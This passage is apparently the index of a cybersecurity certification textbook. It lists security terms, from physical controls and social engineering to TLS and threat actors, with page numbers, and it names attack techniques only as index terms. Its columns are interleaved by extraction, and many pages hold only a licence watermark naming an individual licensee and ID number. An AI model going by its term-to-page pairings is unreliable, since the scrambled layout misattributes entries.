management mantraps, 543 IEEE 802.1x port-based NAC,
job rotation, 182 physical access 166
least privilege, principle of, 182 controls, 540 network access control
mandatory vacation, 183 physical attacks of smart (NAC), 231‑232
separation of duties, 182 cards and USB, 543 port filtering/security, 256
pfSense reception personnel and port scan
firewall rule configuration, 258 ID badges, 546 Nmap Security Scanner, 38
Internet Key Exchange security guards and scanless, 41
(IKE), 307 cameras, 544‑545 positive air pressure, 550
log parser, 277 site layout, 540‑541 POST (forms mechanism), 292
Open VPN, 303‑304 piggy backing, 76 post-incident activities phase, 457
PGP (Pretty Good Privacy), PIN (personal identification Post Office Protocol v3
134, 152 number), 150, 154 (POP3S), 297
pharming, 79 PIN (places in the network), post-quantum cryptographic
phishing campaigns, 77‑78, 210 216, 239 technology, 120‑121
physical access controls, 540 pinch point failures, 216 posture assessment, 231
physical controls, 9, 10 Ping of Death, 248 potentially unwanted programs
physical locks, 542 pinning, digital certificates, 140 (PUPs), 82, 83
physically secure cabled pivoting, pen test attack life power redundancy
network, 550 cycle, 70 batter backups, 517
dual power supplies, 517
Index
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Index | I-29
Index
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
I-30 | Index
Index
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Index | I-31
Index
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
I-32 | Index
Index
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Index | I-33
Index
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
I-34 | Index
Index
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Index | I-35
Index
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
I-36 | Index
Index
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Index | I-37
Index
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
I-38 | Index
barricades and entry/exit SOAR. see security orchestration, software development kit
points, 541 automation, and response (SDK), 386
cable locks, 543 (SOAR) software development life cycle
fencing, 541 SOC. see security operations (SDLC)
gateways and locks, 542‑543 center (SOC) agile development, 400
industrial camouflage, 541 SOC2. see service organization waterfall model, 400
lighting, 541 control (SOC2) software diversity, 403
mantraps, 543 SOC3. see service organization software exploits, 233
physical access controls, 540 control (SOC3) Software Restriction Policies
physical attacks of smart social engineering techniques (SRP), 394
cards and USB, 543 active reconnaissance, 69 software vulnerabilities, 19, 50‑51
reception personnel and ID credential databases, 77 solid state drives (SSD)
badges, 546 credential harvesting, 82 Instant Secure Erase (ISE), 554
security guards and cameras, defined, 74 nonvolatile storage media, 493
544‑545 dumpster diving, 76 Secure Erase (SE), 554
site layout, 540‑541 guidelines for, 93 secure filmware,
site survey, 236 hoaxes, 78‑79 implementing, 320
site-to-site model, 302 identity fraud, 77 Something You Are
skimming, card attacks, 543 impersonation and trust, Authentication, 151
SkyHigh Networks, 426 75‑76 Something You Can Do
Sleuth Kit, 491 influence campaigns, 82 Authentication, 152
Small Computer System invoice scams, 77 Something You Do
Interface (SCSI), 520 lunchtime attacks, 77 Authentication, 151
smart buildings, 336 pharming, 79 Something You Exhibit
smart card attacks, 543 phishing, 77‑78 Authentication, 152
smart-card authentication, 164 piggy backing, 76 Something You Have
smart cards, 164 prepending, 78‑79 Authentication, 150‑151
smart devices, 335 pretexting, 75‑76 Something You Know
smart meter, 336 principles of, 74‑75 Authentication, 150, 152
smartphone authentication, shoulder surfing, 77 Somewhere You Are
348‑349 SMiShing, 78 Authentication, 152
S/MIMI (Secure/Multipurpose spam, 78‑79 sophistication level, of threat
Internet Mail Extensions), 297‑298 spear phishing, 78 actors, 19
S/MINE (Secure Multipart Internet tailgating, 76 SOPs (standard operating
Message Extensions), 134 typosquatting, 79 procedures), 182, 194
SMiShing, 78 vishing, 77‑78 source IP affinity, 250
SMS (Short Message Service), 170 watering hole attack, 79 source routing vulnerabilities, 233
SMS (simple message service), 78 whaling, 77‑78 SOX. see Sarbanes-Oxley Act (SOX)
SMTPS, 296 social media spam, 78‑79, 86‑87
Smurf, 248 analysis, 208 Spamhaus, open source
Sn1per, exploitation as attack vectors, 23 intelligence (OSINT), 28
frameworks, 46 threat research sources, 28 SPAN (switched port analyzer),
snapshot, 495 social proof, 75 42, 269‑270
snapshot backups, 525‑526 Social Security Number (SSN), 441 Spanning Tree Protocol (STP), 228
sniffing, test access port (TAP), 42 soft power, 82 spear phishing, 78
SNMP (Simple Network software as a service (SaaS), 409 specialized systems
Management Protocol), 38, 275, software compliance and facility automation, 336‑337
289‑290 licensing threat, 502 medical devices, 338
Snort, 268‑269 software-defined networking multifunction printers
snowflake systems, 431 (SDN), 431‑432 (MFPs), 337
SOAP (Simple Object Access software-defined visibility vehicles and drones, 338
Protocol), 204‑205 (SDV), 432 Voice over IP (VoIP), 337
Index
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Index | I-39
Special Publications (NIST), 11 transport layer (OSI Layer 4), subscription services, 295
spectrum analyzer, 245 257‑258 substitution cipher, 98
split tunnel, VPN client state laws, 14 superuser account
configuration, 309 stateless operations, 256 identity and account
spoofed routing information stateless protocol, 374 management controls,
(route injections) vulnerabilities, Statements on Standards for 184‑185
233 Attestation Engagements (SSAE), weak host configurations, 51
spyware, 85 11‑12 supervisory control and data
SQL injection attacks, 377‑378 states of data acquisition (SCADA), 334‑335
SRTP (secure transport data at rest, 447 supplicant, 166
protocol), 299 data in processing, 447‑448 supply chain, as attack vectors, 23
SSAE. see Statements on data in transit (motion), 447 supply chain assessment, third-
Standards for Attestation data in use, 447 party risks, 54‑55
Engagements (SSAE) state table, 257 Suricata, 268
SSH. see Secure Shell (SSH) static acquisition, 493 surveillance systems, 336‑337,
SSH client authentication, 312 static and dynamic source 544‑545
SSH commands, 313 NAT, 264 suspended certificates, 138‑139
SSH FTP (SFTP), 296 static code analysis, 387 SWG (secure web gateway), 272
SSID (service set identifier), 235 static known treats, 19 switched port analyzer (SPAN),
SSL (Secure Sockets Layer), 292 statistical deviation analysis, 468 42, 269‑270
SSL VPN, 303‑304 steganography, 121‑122 switches, 217, 469, 518
SSO (single sign-on), 155, 295 STIGs, 12 Symantec
SSRF. see server-side request Stingray/International Mobile Blue Coat, 426
forgery (SSRF) Subscriber Identity (IMSI) data loss prevention (DLP), 450
SSTP (Secure Sockets Tunneling catcher, 361 Symantec/Broadcom, 345
Protocol), 304 storage area networks (SANs), symmetric cipher, 112
stacked overflow, 367 520, 527 symmetric encryption
Staged Payloads, 347 storage profiles, 421 Advanced Encryption
staging, development storage segmentation, 353 Standard (AES), 100
environments, 400 stored procedures, 386 block ciphers, 100
stakeholder management, STP (Spanning Tree Protocol), 228 bulk encryption, 105‑106
incident response (IR), 458 strategic intelligence, 487‑488 cryptographic concepts, 96
standalone intrusion stratum 1 (Top-Level NTP defined, 99
mechanism, 87 servers), 289 digital envelopes, 105‑106
standard naming conventions, stream ciphers, 100 initialization vector (IV), 100
531 stress testing, 387‑388 key Exchange, 105‑106
standard operating procedures structured exception handler key length, 100
(SOPs), 182, 194 (SEH), 385 secret key, 99
standards, 13‑14 structured query language (SQL) stream ciphers, 100
standard users, 183 injection attacks, 377‑378 synchronous replication, 520
stapling, 140 structured threat information SYN flood attacks, 247
Start-Process, 395 eXpression (STIX) Sysinternals, 90‑91
STARTTLS, 288, 296 OASIS CTI framework, 29‑30 syslog, 468
state actors, 20‑21, 21 Trusted Automated syslog-ng, 468‑469
stateful inspection firewalls eXchange of Indicator system accounts, 185
application aware firewalls, Information (TAXII), 30 system and security logs, 469
258 structured threats, 19 system-enforced account
application layer (OSI subject alternative name (SAN), policies, 192‑193
Layer 7), 258 digital certificates, 130‑131 system integration, third-party
iptables, 258‑259 subject name attributes, 130‑131 risks, 54
state table, 257 subscriber identity module system memory acquisition
(SIM), 333 crash dump, 492
Index
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
I-40 | Index
Index
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Index | I-41
time offset, 486 transit gateways, 424 true random number generator
time synchronization, 289 transparent proxy, 261‑262 (TRNG), 114‑115
timing attack, 414 Transport Control Protocol (TCP), trust anchor, 318‑319
TKIP (Temporal Key Integrity weak network configurations, 52 Trusted Automated eXchange of
Protocol), 237 transport encryption (data-in- Indicator Information (TAXII), 30
TLDs (Top Level Domains), 287 transit), 112 Trusted Computing Group
TLS. see Transport Layer Security transport layer (layer 4), 425 (TCG), 321
(TLS) transport layer (OSI Layer 4), Trusted Platform Module (TPM),
TLS VPN, 303‑304 257‑258 164‑165
token-based key card lock, 542 Transport Layer Security (TLS) trusted platform module (TPM),
tokenization, database application log files, 471 180, 318‑319
deidentification methods, 452 cipher suites, 108, 293 trust model, 127
token keys and static codes, secure application protocols, TTP. see tactics, techniques, and
167‑168 292‑294 procedures (TTP)
tokens, 180 secure wireless tunnel, 301
tombstone, 450 infrastructure, 241‑242 tunnel mode, 306
Top Level Domains (TLDs), Key SSL/TLS versions, 293‑294 turnstile, 543
Signing Key, 287 Transport Layer Security (TLS) VPN two-factor authentication (2FA),
Top-Level NTP servers Open VPN, 303‑304 151, 170
(stratum 1), 289 Point-to-Point Protocol two-person integrity/cpmtrp, 546
topologies, demilitarized zone (PPP), 304 two-step verification, 170
(DMZ) Point-to-Point Tunneling typosquatting, 79
screened hosts, 223 Protocol (PPTP), 303
screened subnet, 222
triple-homed firewall, 222‑223
Secure Sockets Tunneling U
Protocol (SSTP), 304
topology discovery U2F (Universal Second
SSL VPN, 303‑304
(footprinting), 36‑37 Factor), 168
transport mode, 306
TOR (The Onion Router), 25, 26 UAC (user account control),
transposition cipher, 98
TOTP (Time-Based One-Time 201‑202
trapdoor function, 101
Password Algorithm), 169 UAV (drones/unmanned aerial
treat actors, types of
TPM (Trusted Platform Module), vehicle), 69‑70
advanced persistent threats,
164‑165 Ubuntu Linux
20‑21, 21
TPM (trusted platform RedHat Linux container,
competitors, 21
module), 180 413‑414
criminal syndicates, 21
traceroute root accounts, 185
guidelines for, 33
network reconnaissance Uder Datagram Protocol (UDP)
hackers, 20
tools, 37 transport layer (OSI Layer 4),
hacker teams, 20
packet injection and 257
hacktivists, 20
replay, 44‑45 weak network configurations,
tracert, network reconnaissance insider threats, 21‑22
52
tools, 37 nation state actors, 21
UEBA. see user and entity
traffic analysis, 43‑44 script kiddies, 20
behavior analytics (UEBA)
training/policies, onboarding state actors, 20‑21, 21
UEM. see unified endpoint
policies, 181 treat intelligence, 459‑460
management (UEM)
training technique diversity trend analysis, 468
unauthorized requests, 381
capture the flag (CTF), triple-homed firewall, 222‑223
unformatted error messages,
210‑211 TRNG. see true random number
weak network configurations, 53
computer-based training and generator (TRNG)
unified endpoint management
gamification, 211 TRNG (true random number
(UEM), 345
phishing campaigns, 210 generator), 114‑115
unified extensible firmware
Transient Electromagnetic Trojans
interface (UEFI), 319
Pulse Emanation Standard defined, 82, 83
uniform resource locator (URL)
(TEMPEST), 550 static known treats, 19
Index
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
I-42 | Index
Index
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Index | I-43
Index
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
I-44 | Index
Index
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022